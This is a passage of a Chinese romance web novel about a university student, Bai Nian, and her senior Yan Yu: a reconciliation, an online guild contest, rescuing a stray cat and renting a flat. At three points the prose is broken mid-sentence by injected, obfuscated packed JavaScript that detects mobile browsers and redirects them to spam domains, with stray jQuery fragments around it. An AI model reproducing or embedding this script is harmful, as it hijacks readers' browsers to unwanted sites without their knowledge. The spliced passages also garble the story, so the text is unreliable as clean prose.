白念呼出一口郁气,极快地瞥了一眼这荼毒她耳朵的男生,一旁的方淇已经忍不住小声骂了起来:“靠,渣男,铁定是外头养鱼了。” “养鱼?”白念注意力被吸引回来。 “绝对的,”方淇又冲着男生的后脑勺翻了个白眼,“不然什么人会拼命想和女朋友拉开距离,连手都不给牵一下?这是生怕自己单身人设倒了,鱼塘的鱼跑了呢。” 白念捏着号码牌的手指无意识抠了一下上面凹凸不平的刻痕。 她想起来严禹送早餐到楼下时她匆忙从阳台上收回的脑袋,他陪她上课时她小心翼翼悄声说话的模样,以及走在路上被注目之后自己下意识拉开的距离…… 她又想起昨晚在晋云湖畔听到的最后一句话。 严禹笑容淡得几乎没有情绪:“白念,你让我觉得不真实。” 她情绪难言的吞咽了一下喉间的梗涩。 尽管她并没有要立单身人设的意思,但她在这一瞬间似乎理解了严禹所谓的不真实来自何处。 她把一切距离算的太清楚了。 下一秒,似乎在验证方淇的话一般,那名男生的女朋友还没做出什么反应,旁边就有一名女生端着盘子浅笑着走过去跟男生打了个招呼。 “这么巧啊宇博,人好多,拼个桌呗?”女生笑得落落大方,白念看了一眼,女生个头高挑,打扮得很漂亮,说话时看了一眼桌子对面埋下头的女孩,“这是谁呀,你朋友?” “啊……”男生看到来人,扬起灿烂的笑容,打了个哈哈,殷勤地拉开自己身旁的座位,“是呀,坐坐,我们这正好有空。” “宇博的朋友那也算是我的朋友了哈哈,”女生笑得很友善,在男生身旁落座,随意地撩了下头发,跟对面的女孩打了个招呼,“你好啊,我是宇博的同班同学。” 窗口里传来提醒白念取餐的提示音,她和方淇端回小馄饨坐下时,角落里的女生还在埋着头吃饭,她对面一男一女相谈甚欢,衬得她像一个局外人。 白念夹起一个馄饨,没送到嘴里,方淇看了她一眼:“唉,大学里这样的事情太多了,男的嘛,见到更好的心思就容易花。” 她手上动作一顿,偏过头去看,那个埋头吃饭的女生蓦地站起身来,瓮声瓮气地开口:“我吃饱了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023169|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先走了。” 然后匆匆离开。 男生身旁的女生有点不解,男生开口打哈哈:“没事不用管她……你刚刚说什么票来着?” 女生被提醒:“哦,差点忘了,我和朋友买了两张音乐剧的票,她有事去不了了,可以邀请你——” “他有女朋友,就刚刚离开那个女生。”一道清冷干净的声音在头顶落下,两人动作一僵,抬头去看,就看到一个端着馄饨的女生站在桌前,眼睫微垂,面无表情。 “什么?”女生眼睛瞪大,质疑地看向男生。 “你多管什么闲事!”男生本想发作,对着这么一张脸又憋了回去,涨红了脸,又扭过头去慌乱解释,“你别听她瞎说,我都不认识她。” “信不信由你,只是想告诉你,他不值得。”白念撂下最后一句,转身就走。 身后方淇和刚端着糖醋小排坐下的菲菲含卿也没料到她这个举动,瞪大眼睛:“念念,你不吃了吗?” 白念回过头仓促地笑了一下:“有点事,抱歉,我先走了。” 前往建筑馆的路上,她掏出手机给严禹发了条消息。 n:你在干嘛? 发完消息自己都觉得有些搞笑。 她莫名想起来不知道在哪里看到的一段话,对于含蓄的人来说,“你在干嘛”=“我想你了”。 她虽然没这个意思,但好像……也差不多。 她是去和解的。 建筑馆是建院学生上专业课做模型的地方,也是专业课老师办公的地方,章教授在那儿,那严禹,应该也在吧。 白念不知道自己找过去想说什么,但她突然觉察出昨晚那个僵局的莫名其妙来。 明明都是为了对方好的意思,却闹了个这么奇怪的局面。 她太坚持自己的原则,好像伤了别人的好意。 食堂和建筑馆离得不算太远,步行过去十五分钟左右,直到白念抵达章以苓办公室门口,白念的手机都一直没有响过。 章教授刚收拾好东西拎着茶杯准备下班,冷不丁在门口撞见白念,眉毛一抖:“哟,小白啊,腿好利索没有?怎么这个时间过来,吃饭了吗?” 白念点点头,客套几句后就往里张望,章以苓顺着她的视线往自己空荡荡的办公室一看:“找什么呢?” 白念收回视线:“老师,严……师兄他,今天没来么?” 章以苓闻言皱了皱眉:“他昨晚跟我请了个假说家里有事,怎么啦?” 白念迟钝地“哦”了一声,摇摇头:“没事,谢谢老师,老师再见。” 说完又风风火火地转身要走,章以苓想起什么似的在后面扬起声音:“对了小白,有空和你师兄一块儿来找我一下,上次项目的经费下来了……” 中年人慢吞吞的话音追不上白念下楼的速度,章以苓眼见着她一溜烟消失在楼梯口,想起三锤打不出两个屁、惜字如金的严禹,又看了眼从前乖乖可爱、如今却没给他机会把话说完的白念,挠着头反省了一下。 自己这儿好像是什么叛逆学生培养所,师门传统? “这孩子,跟着那小子学坏了,嘿。” 92. 不同 严禹直到晚饭时间才看到白念的消息。 他昨晚接到在严家照顾严老太太的阿姨电话,说是老人半夜睡不着,颤巍巍起床忙活,夜里视线不好,凭空又崴了脚。 自从上次唐雅大晚上被叫到严宅之后,严禹就特意叮嘱严家的阿姨,有事直接给他打电话,不要找唐雅。 老太太距离上次受伤还没过去多久,这频繁的动静把人吓得不轻,严禹这次不由分说把人送去了医院,折腾了一天一夜,直到赵祁拍着自己的白大褂再三保证没有伤筋动骨,一行人才又浩浩荡荡地回了家。 严季淮还没下班,阿姨做好了饭,严禹用轮椅把奶奶推到餐桌边安顿好,自己坐下来拿起筷子。 “阿禹今晚在家里住吧?”严老太太问道。 严禹看了眼老人家期待的目光,轻轻“嗯”了一声。 这就算是答应了,老太太笑得很开心:“你在奶奶也安心一些,你父亲最近成天不知道忙些什么,晚上老是往家里带人也不告诉我一声,我半夜起来还以为家里进贼了。” “带人?”严禹捏着筷子的手指一顿,状似随意地问了句。 “是呀,”老太太点点头,似乎颇有些微词,“多大的年纪了,做事还是这么乱来。” “您看见来的是谁了吗?”严禹问了句。 “没太看清,”老太太不满地皱了皱眉,“我刚出门就崴脚了,问你父亲他就说让我不用管,左右不过是些不三不四的人罢了。” 老太太话没说的太清楚。 事实上她看见了一点儿,那是个不算年轻的女人,红色的大衣,卷曲的长发,尖细的高跟鞋,还有匆匆一瞥的艳红的唇。 她料想严禹不会喜欢听到这些,顾及着他的感受,絮絮叨叨的话音一顿,看了眼他的脸色,似乎没有什么变化,才扬起笑容开口:“算了,我们不说他,吃饭,快吃饭。” 严禹微微颔首,莫名觉得有些不安,习惯性地翻出手机,找到微信置顶点了进去,看到六小时前的消息顿了一下。 “吃饭时间怎么好玩手机的呀,小心又胃疼的。”严奶奶很不赞同。 严禹笑笑:“您先吃,我回个消息。” 他对着白念一句简单的”在干嘛”凝视良久,才抬起指尖打字回复。 严禹:抱歉,临时有事在忙,没注意消息。 对面一时间没回复,严禹垂眸等了几秒,微信亮起,却不是白念的。 高旭:哥!公会竞赛还有一个小时,大家都上线备战了,你去哪儿了?还能打吗? 严禹:能。 今天的第二场小组赛安排在晚上七点,足够他吃完饭上线,刚想问点别的,字还没打上去,高旭的下一条消息就急吼吼地发过来了。 高旭:好好,嫂子也上线了,我们先和公会的人准备药材安排队伍。 严禹盯着白念毫无回音的聊天框看了半晌,垂下眼眸,嘴唇抿成一条直线。 陪着奶奶简单地吃了几口饭,他放下筷子上楼回了房间,打开电脑登录游戏。 白念正在公会广场上挂着机,游戏还没开始,她起身从书架上拿了本书来打发时间,看到一半,余光瞥见屏幕上有了动作,抬起头来,公会里就位的队伍已经被系统传送到竞赛地图里了。 他们队伍已经满员。 严禹安静地站在她的身旁,没有说话。 她看着白衣剑客长身玉立的沉默背影,手指轻轻蜷缩了一下,一下子不知道说点什么开场。、 没给她思考的机会,十秒的倒计时结束,竞赛已经正式开始。 今晚踏星楼匹配到的对手是烟花三月,一个实力中下的小公会。 对面会长是个奶妈,一看到对手的名字立刻大咧咧开了麦打招呼:“大佬们好啊,求下手轻点,咱们不求赢,只想少丢点人头分。” 小组赛积分相同的情况下,比的就是击杀人头数,赢不了的情况下,踏星楼能少打她们几次也是好的。 仗剑一看也很来劲:“哎哟是妹妹呀,好说好说,嘿嘿。” 今天的比赛氛围就比较轻松,对面虽然说着打不过,但也还是尽力而为了,几个骨干队伍轮番守在中立区域迎战,抢不着旗子,多碰几次加点积分也不错。 白念她们这边下手比较轻,仗剑干脆也不指挥了,任由两位输出大佬自由发挥,爱砍谁砍谁,最后打完收工就行。 于是白念第三次拔剑和严禹攻向同一个目标时,耳边传来仗剑酸溜溜的调侃:“啧啧啧,不愧是两口子……你们不会是背着我们仨悄悄开麦了吧?” 白念抿了抿唇,一套技能行云流水地放完以后收手跳到一边,下意识看了眼一旁也收了长剑的严禹。 两人都没有说话。 仗剑在这种安静的氛围中大条又敏锐地感受到一丝诡异,本来他只是习以为常地调侃两句,却罕见地冷了场。 自家嫂子不爱说话他习惯了,可是他哥是什么回事?! 往常那个但凡和嫂子沾边就要抓紧机会开个屏的花孔雀也不说话了? 他这才后知后觉地意识到,今晚打了半个小时,这两人都没开过口。 男寝315号房间里,高旭趁着游戏的空档,滑着椅子晃荡到了白景行旁边,用手肘戳了戳他的好室友:“哎?你有没有觉得今晚这俩人格外安静。” 白景行正在给屏幕里的两个人血,闻言掀了下眼皮:“跟你比是挺安静的。” 高旭嫌弃地滑了回去:“得,当我没说。” 一场战斗结束,仗剑带队在中立区域寻找敌方队伍的空隙,白念思忖片刻,拿起一旁好久没看的手机,刚想组织下语言,这才发现严禹一个多小时以前给她回了消息。 但也只是粗略解释了一下回得晚的原因,别的什么都没说。 文字无声,此刻传达出来的语气好像格外地冷冰冰。 她咬着唇想了想,慢吞吞地敲了几个字发过去。 n:那事情解决了吗? 严禹回得很快。 严禹:嗯。 n:你吃饭了吗? 严禹:吃了。 n:哦。 严禹:…… 两个人的对话跟按字收费似的,仿佛多说一个字就会破产,干巴巴地格外萧索。 白念看着对面的回复,有点摸不准严禹是不是在生气。 如果他在生气的话,她现在格外能理解,就是不知道怎么办。 白念咬了咬唇,不知道说点什么,她好像从来没对谁服过软……想了半天终于艰难地组织了一句。 n:一会儿打完聊聊吧。 对面沉默的时间更长了,半晌消息框才矜贵地蹦出一个字。 严禹:好。 说话间仗剑带队又撞上了一队偷偷摸摸想要去蹭一下旗子的人,他慢条斯理地等着人家人手一次摸完了旗子才切进战斗,对面的几个人感动得一塌糊涂,纷纷在头顶给他发比心和跪谢表情包。 仗剑飘飘然,刚想开麦跟可爱妹妹唠几句,谁知道身边的严禹跟吃了枪药似的,提着剑就冲出去了,沉默暴力地放倒了对面的魔伽。 人家头顶的比心特效都还没显示完就已经扑街,颤巍巍打字。 【当前】【不想写作业:怎、怎么了,是我比的表情不够诚心吗……】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038034|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【当前】【风不语:手滑。】 【当前】【不想写作业:TAT】 仗剑在队伍频道里骂骂咧咧:“我还没来得及和妹子搭上话!” 可惜没人理他。 一个小时的竞赛在双方都毫无斗志的情况下,结束得毫无波澜。 刚传送出竞赛场景,严禹就退出了队伍。 “我哥今晚怎么了……”仗剑一头雾水地喃喃自语,话还没说完,就看见白念也默不作声地退了队,更加茫然,“嘿这一个两个的?” 白念给严禹发了个组队邀请。 下一秒白衣剑客的身影随着传送落在了她的身边,跟着她的坐标站在了大雪山的青云谷中。 自从夫妻任务链做完以后,白念没事就喜欢拉着严禹到这里来。 一是为了寻找那个至今仍然没有露头的虚无缥缈的“隐藏任务”,二是大家的任务进度并不同步,青云谷对别人来说还是那个破败的场景,但在他们这里,通关之后的青云谷已经恢复往日平静,是独属于他们两人的安静之地。 “……”她开了麦,却难得地语塞,严禹也跟着打开了麦克风,没有说话,仿佛在等待她开口,耳机里只有发沉的呼吸声。 白念深吸一口气:“你的手……好点了吗?” 那天晚上她不是没有看清,严禹为了护住她,手臂被重重地挤压,还有些擦伤,只是那样的情况下她来不及开口说别的。 对面沉默了一会儿,没有正面回答她的问题:“要跟我聊什么?” “对不起。”白念垂着眼看屏幕里负手迎风而立的剑客,纷纷扬扬的雪落在他的肩上,又悄无声息地消失。 耳机里原本沉缓的呼吸声停滞了一秒,没有说话。 雪山上风很大,白念的衣袂随风浮动,带起剑柄上流光浮动的剑穗,那是他送她的礼物。 她不再犹豫:“我那天说我们是以一样的人。” “所以呢?”对面嗓音沉沉,夹杂着轻微的噪音,莫名发紧。 白念手指轻轻点在屏幕里流苏飞扬的剑穗上,轻轻开口:“我们确实不一样,你坚定,坦荡,包容,而我……我害怕一切超出我控制范围的东西。” 似乎没料到事情的走向,严禹呼吸都安静了。 “对不起啊,”白念说,“我以前……太胆小了。” “你很好,”严禹终于开口,声音有点喑哑:“是我心急了。” 像是心脏被轻轻拨动了一下,白念的胸口酸涩发胀,她轻轻舒了口气,抬头瞥见窗外月色澄净又温柔,原本还有许多想说的腹稿陡然一空,她下意识开口。 “师兄。” “嗯。” “今晚晋云湖畔的月色很美。” . 严宅。 严禹突然关了电脑,快步走下楼:“奶奶,我有事得回去了。” “怎么这么着急呀?”严老太太脸上明显舍不得的神色,“不是说今晚在这儿陪奶奶嘛。” “抱歉,奶奶,急事。”他歉意地笑笑,走到玄关穿上鞋子,接过阿姨递过来的外套,刚要伸手开门,门就从外面被打开了。 他迎面撞上了刚到家的严季淮。 早就得了消息的严季淮温和地笑了下,目光下移看了眼他手里的外套:“怎么就要走了?不留下来休息一晚吗?” 严禹懒得理他,随意地“嗯”了一声就往外走,擦肩而过的瞬间,视线从严季淮手上一扫而过,男人有意无意地甩了甩手上捏着的东西。 一闪而过,足够严禹看清了那是什么,一个有些老旧落灰的u盘。 他收回视线,匆匆推门而出。 93. 租房 白念接到电话是二十分钟以后。 点下接听键,手机里传来呼啸的风声,严禹的呼吸难得地有些不稳:“我在楼下。” 白念闻言从椅子上轻轻一跃而起,兔子似的几步小跑到阳台上,扶着栏杆往外探出头去。 正好与楼下举着手机抬起头来的严禹对上了视线。 她这一阵叮铃哐啷的动静透过信号清晰地送到等待的人耳中,严禹嗓音含笑:“慢点儿。” 她的举动引起了不小的注意,菲菲她们跟着探出一排脑袋,猝不及防看见严禹惯常冷冷淡淡的脸上是罕见的温柔的神色,齐齐愣了一下。 楼下已经有人驻足观望和窃窃私语,似乎还有人举起手机拍照,白念却不想管了,她极轻地冲着手机说了句“等我”,然后一阵风似的收回视线开门下楼。 晚间寝室楼电梯拥挤,白念驻足等了两秒,转身走进了消防楼梯,沿着昏暗的楼梯声踢踏往下奔去。 楼梯间内光线很差,但她却一点儿也不觉得害怕,只能听见自己心如擂鼓。 和电话另一端的呼吸一道频率。 跑过漫长蜿蜒的楼道,白念眼前亮起一楼大厅洁白的灯光,灯光外那道高大沉静的身影向她敞开怀抱。 白念呼吸还没调匀,她想自己的模样大概有些凌乱,因为大厅里有许多人抛过来好奇的目光。 她只是放缓了呼吸,深深吸了两口气。 然后将自己一股脑投进了门外敞开的怀抱中。 带着激烈奔跑后压不下的砰砰的心跳。 . 晚间的晋云湖畔很是静谧,三三两两散布着压鹅卵小径的学生,晚风在湖面上掀起微澜,被暖黄的路灯撒上金色的粼光。 可惜月亮不太给面子,已经悄悄藏在云层后安眠。 白念抬头看了一眼暗沉沉的天际,认真地解释道:“……刚刚真的还能看到。” 严禹轻轻握着她的手,侧过脸看着她,闻言藏住嘴角的笑意颔首:“嗯,我知道。” 白念讪讪地收回视线,却对上一双专注凝望着她的眼眸。 静谧无声的氛围里,她后知后觉地为自己方才急匆匆的举止生出一丝好笑,忍不住“扑哧”轻笑一声。 “突然觉得我们俩好幼稚啊。”她说。 “有吗?”严禹唇角也微勾。 “呐,”白念轻笑着指了指压根看不见月亮的天幕,“因为一个奇怪的吵架大晚上跑来湖边吹冷风压马路算不算?” “算吧,”严禹不置可否,顺着她的话点点头。 白念收回笑容,认真地抬头与他对视:“对不起啊师兄,我不该说那样的话。” 严禹垂着眼看她,刚要说话,白念又补了一句:“还有,好像也欠你一句谢谢。” “我可以听点儿别的么?”严禹突然说。 “……”白念鬼使神差领悟了他的意思,恍然间发觉,她似乎从来没有对严禹说过喜欢。 她踟蹰片刻,勇莽的冲动好像已经随着平复下来的呼吸缩了回去,嘴唇微微动了动。 “算了。”严禹微微勾了勾唇,突然伸出手来,温热的气场陡然萦绕在白念侧脸,她微怔。 而他只是将她有些散开的一缕发轻轻捋到她的耳后:“刚才跑乱了。” 然后又看着她的眼睛:“我们慢慢来。” 白念讷讷地“哦”了一声,想要抬手自己撩一下头发。 严禹看着她慢半拍的反应,却突然勾唇一笑。 他的眼睛本就狭长深邃,眼尾微翘,不笑时候很冷,此刻笑起来却像狐狸一半勾人,他伸手抓住白念向后抬起的手腕固定住,就这这个姿势缓缓弯腰低头,不轻不重地咬了一口她饱满的下唇。 “那我们做点不幼稚的事。”他放开她的唇抬起头,和她的距离不足一指,说话的气息洒在白念的唇间,语气带着蛊惑。 白念下意识咬了一下自己带着微微湿意和酥麻的下唇,严禹另一只手抬起捏住她的下巴,拇指指腹缓慢地将她被紧咬的唇从齿间松解,然后再次低下头来。 这次不再咬她,取而代之的是温柔缱绻的辗转慢吻。 也不再是浅尝辄止,他捏着她下巴的指腹微微一用力,顺势撬开了白念的齿关,汹涌的侵略如潮水般涌来,全然陌生的感觉瞬间将她侵袭。 白念压了半天马路才平复下来的呼吸全乱了,今晚严禹的动作格外温柔而强势,意识迷蒙间,她几乎喘不过气来,呼吸间全是他的气息。 “喵呜……” 静寂的湖畔,一道突兀的猫叫突然响起,将白念的理智从混沌之间挽救回来,她迟钝地睁开眼睛,搭在严禹肩上的手指蜷缩了一下。 严禹圈在她腰上的手臂一紧,偏过头去,下颌抵在白念肩上,呼吸有些粗重。 他闭了闭眼,半晌才松开手臂放她自由。 白念仓促地平复了一下呼吸,扭过头去寻找声音来源,这才看见那只眼熟的小黑猫朝他们慢条斯理地走过来。 白念蹲了下去,想要揉揉它的脑袋,黑猫又叫了一声,有气无力。 她有些奇怪,打开手电筒,然后对着眼前的景象愣住了。 小猫的右后腿掉了一大块毛,裸露出来的皮肤上挂着几道狰狞的血痕——原来它慢吞吞的猫步并不是气定神闲,而是一瘸一拐。 “它受伤了。”白念皱了皱眉。 严禹仔细看了看它的细长伤口:“好像是被同类挠伤的。” 他转身往一旁的灌木丛里走,拨开枝叶一看,往日里他放得端端正正的两只瓷碗东倒西歪,有一只碗里还有泥泞的猫爪印记。 再看一眼眼前的猫,肚子可怜巴巴地瘪着。 看起来是为了吃的和其他猫大打出手了,还没打赢。 “果然,”严禹睨了一眼眼前这坨萎靡的肥猫,语气凉凉,“我就一天没来看你,就被别的猫找上门揍了?白长那么多肉。” 白念顺着他的动作看过去,眨了眨眼睛:“这是你放的吗?” “嗯,”严禹松开灌木走回来:“以前它很瘦,抢不过别的猫,我看它太没出息了,每天就抽空过来给它换换水粮,昨天有事没来。” 白念突然想起自己之前给它买火腿肠和矿泉水的行为,恍然大悟:“难怪不吃火腿肠,原来是有金主爸爸呢……” 严禹本来想笑,蓦然想起那次无意间撞见她喂猫的景象,垂下眼短暂地沉默了一下。 最终两人把猫带到附近的宠物医院处理了伤口。 返程的路上,白念抱着猫坐在副驾驶上,看着它大腿上裹着纱布、脖子上罩着伊丽莎白圈的可怜样,有点替它的流浪生涯担忧:“这下更打不过别人了,放你回去可怎么办啊。” 黑猫不安地在她怀里蹭了蹭,期期艾艾地叫了一声,又伸出舌头舔了舔她的手指,圆亮乌黑的瞳孔直勾勾盯着她,眼里全然都是信任和依赖。 她抿着唇轻轻碰了碰它湿润粉嫩的鼻头,不着痕迹地叹了口气。 严禹看着路况,脑海中那天偶然的记忆清晰地在脑中回响,女生和猫语言不通的对话如在耳旁。 ——你想让我养你? ——养不了,我不喜欢猫。 ——别跟来了,你没有家……我也没有。 他握着方向盘的手指猛然收紧,开口却不动声色:“想不想养它?” 白念发愁地摸了摸它有些可怜的乱毛,声音有些发闷:“宿舍里不能养猫。” 说完她想起什么似的,下意识去看严禹:“你可不可以带回家照顾几天……” “我母亲不让在家里养这些。”趁着红灯的间隙,严禹伸出手去揉了揉黑猫的脑袋,又抬眼看她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14049287|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白念泄了口气。 也是,不然为什么他宁愿每天跑到晋云湖边喂粮,也不要带回家一劳永逸呢?是她急病乱投医了。 她低头看了看怀里的猫,皱着眉开始上网搜索解决办法,对着黑猫喃喃自语:“倒是可以把你送去寄养一段时间,但是回去了万一又挨揍怎么办……” “白念。”严禹突然唤她,打断了她的话。 “嗯?”白念视线从手机上挪开,不明所以地应了一声,“怎么了吗?” 车内光线昏暗,路灯投射进来的光线落在严禹起伏的眉眼上,在他眼下抖落一片深邃的阴影,他的目光在阴影中模糊不清。 白念被路灯刺得揉了揉眼睛,再次看向他,就听到他缓缓开口。 “我们租个房子吧。” 白念一时间没注意到他句子里的主语:“租什么房子?” 绿灯亮起,严禹目视前方启动车子,声音沉稳:“不是想养猫么,既然都没办法带回去,那就租个房子。” 这个未曾想过的提议在白念的脑海里转了几转,似乎可以解决眼下大部分的问题……她有些犹豫和心动。 她低下头去,看了看怀里湿漉漉望着她的大眼睛,小胖子甚至似有所感一般轻轻“喵”了一声,尾音柔弱又婉转。 白念举手投降。 她在脑海中飞快地盘算了一遍自己的积蓄。 由于那两口子强行给白宇卓转院,原本预计用来给他后续治疗和修养的钱都省了下来,粗粗一掐手指,剩下的钱几乎已经能维系她的生活和学业到毕业。 更何况她还能接稿子,做兼职。 她眼睛一亮,有点开心地戳了戳黑猫腹部溢出的软肉:“那我可以养你了,胖子。” 严禹攥紧方向盘的手指不着痕迹地放松了几分。 白念说完突然想起来,租房又不是一蹴而就的事情:“但是今晚猫怎么办啊。” 严禹指了指导航:“今晚先送去我朋友家里,房子弄好了再接过来就行。” “哪个朋友?”白念顺口问了一句,然后才反应过来,“哦,说了我应该也不认识。” 严禹偏过头看了她一眼,轻笑:“你认识的,仗剑。” “哦……”白念恍然大悟地点点头,最后一个问题也被解决了,她终于有些放松,拿起手机,“那我先看看租房信息。” 行动派的作风让严禹有些哭笑不得:“很晚了,先回去休息,明天我来看就好,嗯?” “我自己可——”白念下意识回答,话说到一半,她后知后觉地回过味来。 他刚才说的好像是……“我们租个房子”? 我们? 她的话音戛然而止。 严禹的车已经抵达一个陌生的小区门口,他没急着打电话叫高旭下来,而是找了个安静的角落停了车,打开车内顶灯,似笑非笑地看着沉默的白念:“反应过来了?” “……”白念有点被诓的气恼,“我没答应要和你一起……住。” 意料之中的反应,严禹垂眸轻轻笑了下,并不着急:“嗯,不一起住,是一起租。” 白念这才反应过来自己脱口而出了什么,耳朵默不作声地红透,她麻木地沉声开口:“为什么要一起租啊。” “因为这是我们一起养的猫啊,”严禹视线从她通红的耳垂上挪开,慢条斯理地调侃她,“还是你要把我喂了两年的猫抢走?” 白念和猫大眼瞪小眼了半晌,无话可说:“……哦。” 严禹目的达成,轻笑了下,拿出手机要拨电话,就听到白念低头戳了戳怀里的猫,语气重新轻快起来:“胖子,你马上就有家了。” 他的动作一顿,敛眸盖去眼中晦暗的神色,轻轻偏头看了眼她沉静美好的侧脸。 你也是。 他想。 94. 十月 得知白念要搬出去的时候,寝室里其他三个人都很舍不得,尤其是菲菲,拽着白念的袖子眼圈红红。 白念看了一眼自己一把鼻涕一把眼泪的袖子,有些无奈的好笑:“我们还是会一起上课一起吃饭的。” “呜呜呜……”菲菲还是很委屈,“不一样……” 白念揉揉她的头发:“那你想不想看小猫咪?” “呜呜呜不——”菲菲下意识地撒着娇,然后话音一顿,眼睛蓦地睁大,抬起头来,“小猫咪!” 这招果然奏效,三分钟后,菲菲已经在埋头网购,准备给“干女儿”的见面礼了。 有了猫咪忘了室友的行径让白念啼笑皆非。 “不过念念啊,”江含卿在一旁沉吟半晌,眨着眼睛微带调侃开口问道,“是你一个人住吗,还是说,你家大神也……” 白念微微地窘了一下:“我一个人住。” 然后换来旁边三个人高深莫测的眼神。 …… 白念没在外租过房,但是有严禹帮忙收集信息和参考分析,她确定得很快,最终选了个离晋城大学不算很远的单间,面积不大,但是有独立卫浴和小阳台,步行到学校也只需要十几分钟。 白念挺喜欢。 房东人很好,看房什么的都很热情,报的价格也挺合理,白念听完觉得虽然有点小贵,但算了一下还在接受范围内。 毕竟晋城大学因为建校很早的缘故,处在晋城的中心区域,要在附近找到合适的房子还真不容易。 只是严禹听到报价以后很微妙地皱了皱眉。 “房子怎么了吗?”趁着房东打电话的空档,她不明所以地问了一句。 “没有,”严禹微不可闻地叹了口气,“只是感觉我这个男朋友没什么作用。” “怎么会,”白念挑挑眉,看了眼他紧抿的唇,有点好笑地伸出手去捏了捏他的脸:“更何况我自己也赚钱呢,别想太多。” 严禹动了动唇,手机突然响起,他低头看了眼消息。 【严先生您好,请问您对昨天看的九和湾的房子还满意吗?】 严禹抬起眼,认真看了好一会儿正掀开窗帘往楼下小花园看的白念,才低下头去回复。 【抱歉,暂时不买了。】 【请问是有什么顾虑吗?还是您家里人对房子不太满意呢,我这边还有几套平层也很符合您的需求,咱们可以看看别的。】 也许是看他太过年轻,昨天看房时候中介多嘴问了一句严禹是不是一个人买房,话刚问出口他就有些后悔不该打听顾客隐私。 谁料这个看起来少言寡语的年轻人却轻轻笑了下:“不是,给家里人买,她想养猫。” 中介实在不想放弃这样一个看起来很优质的客户。 【抱歉,是我的问题,中介费我会按约结算。】 严禹回复完毕,收起手机,往阳台走去,伸手从后面轻轻环住白念的腰,嗅了嗅她颈侧浅淡的发香,把下巴抵了上去。 他很想立刻给她一个坚实的庇护,但他也清楚他和她之前为什么吵架。 只好作罢。 窗外的黄桷树叶已经一片澄黄,从上往下看去,像大地铺了满地金沙。他垂着眼睛陪她看了一会儿,突然低低开口:“我们一起设计一个房子吧。” 白念被他圈着回不了头,侧过脸问道:“什么房子?” “以后的房子。”他说。 . 搬家的日子来得很快。 白念的东西不多,简单地收拾了一箱子就算完事,反倒是室友们送给小猫的见面礼买了一大堆,零食小玩具猫窝什么都有,尽管白念说什么都不缺了也制止不了这群兴致勃勃的“干妈咪”。 一大堆五花八门的快递盒,几乎把玄关处塞得满满当当,让她哭笑不得。 房子原本就很干净整洁,不过严禹还是请了阿姨又里里外外打扫了一遍,这才放心让她住下。 白念刚把房间收拾好,严禹就带着小猫回来了,它伤口上的绷带已经拆了,只是为了防止它回头舔,还是给它套了个丑兮兮的脖圈,看起来笨重又可怜。 送走撸完猫的室友,白念戳着眼前这个黑胖子的的脑袋瓜对严禹说:“我们是不是给它取个名字。” 好歹是个小姑娘,老是叫它胖子好像不太礼貌。 “嗯,”严禹笑,“我总是叫它喂,要不你来取。” 白念哽了一下:“我是取名废柴……你看我游戏名字就能想到。” 严禹嗓子里溢出低沉沉的笑:“看出来了。” 白念:…… 严禹看她气恼的样子,十分识相地收起嘲笑:“叫它十月怎么样?” “十月?十月~”白念搓着猫头多叫了几句,“还挺好听,那你就叫十月咯,十月份有了新家。” 严禹偏着头看她就着新买的柔软地毯席地而坐,满眼笑意地轻声在十月面前重复它的新名字,目光满是温柔。 十月。 是小猫十月有了新家的日子。 是他们在一起的季节。 是许多新的开始。 他在这幅恬静的画面里带着清浅的不舍缓缓开口:“下个月我不能陪你了。” 白念从阳光里回过头来:“啊?” . 临近年底,日子就这么按部就班的忙碌起来。 住在校外的日子和以前并没有太大分别,白念每天依然起得很早,和菲菲她们一起上课,吃饭,下课。 十月的大腿伤口已经完全愈合,踩着深秋的尾巴紧赶慢赶地长出了抵御寒冬的绒毛。 闲暇时她也会邀请室友们到小房子里撸猫,看摘了脖圈的十月人来疯似的在房间里跑成一坨肥胖的虚影。 大二期中的第一个设计大作业临近尾声,白念每天回家埋在猫肚子柔软的肥肉里吸个过瘾,然后打开电脑开始加班加点画图。 游戏的赛程也在有条不紊地进行,白念每周会抽出两天时间和严禹他们一起打公会竞赛,四平八稳地冲出了小组突围,一路过关斩将打到了本服决赛。 唯一不同的是没有人在楼下插着裤兜倚着树拎着早餐等她了。 上课上到一半也不会有人悄悄走进来,在她身旁落座,顶着老师狐疑的目光跟她悄声低语。 也没有人在下课的电梯厅里浅笑着扬起手等她一起去食堂。 严禹……严禹已经离开晋城一个多月了。 他陪着章教授出省参加建筑界三年一次的专业学会去了,在南边最靠海的城市,和白念隔了两千多公里。 “我们今天期中图纸评审结束啦。”白念坐在书桌前,伸着懒腰跟远在千里之外的严禹打着视频电话。 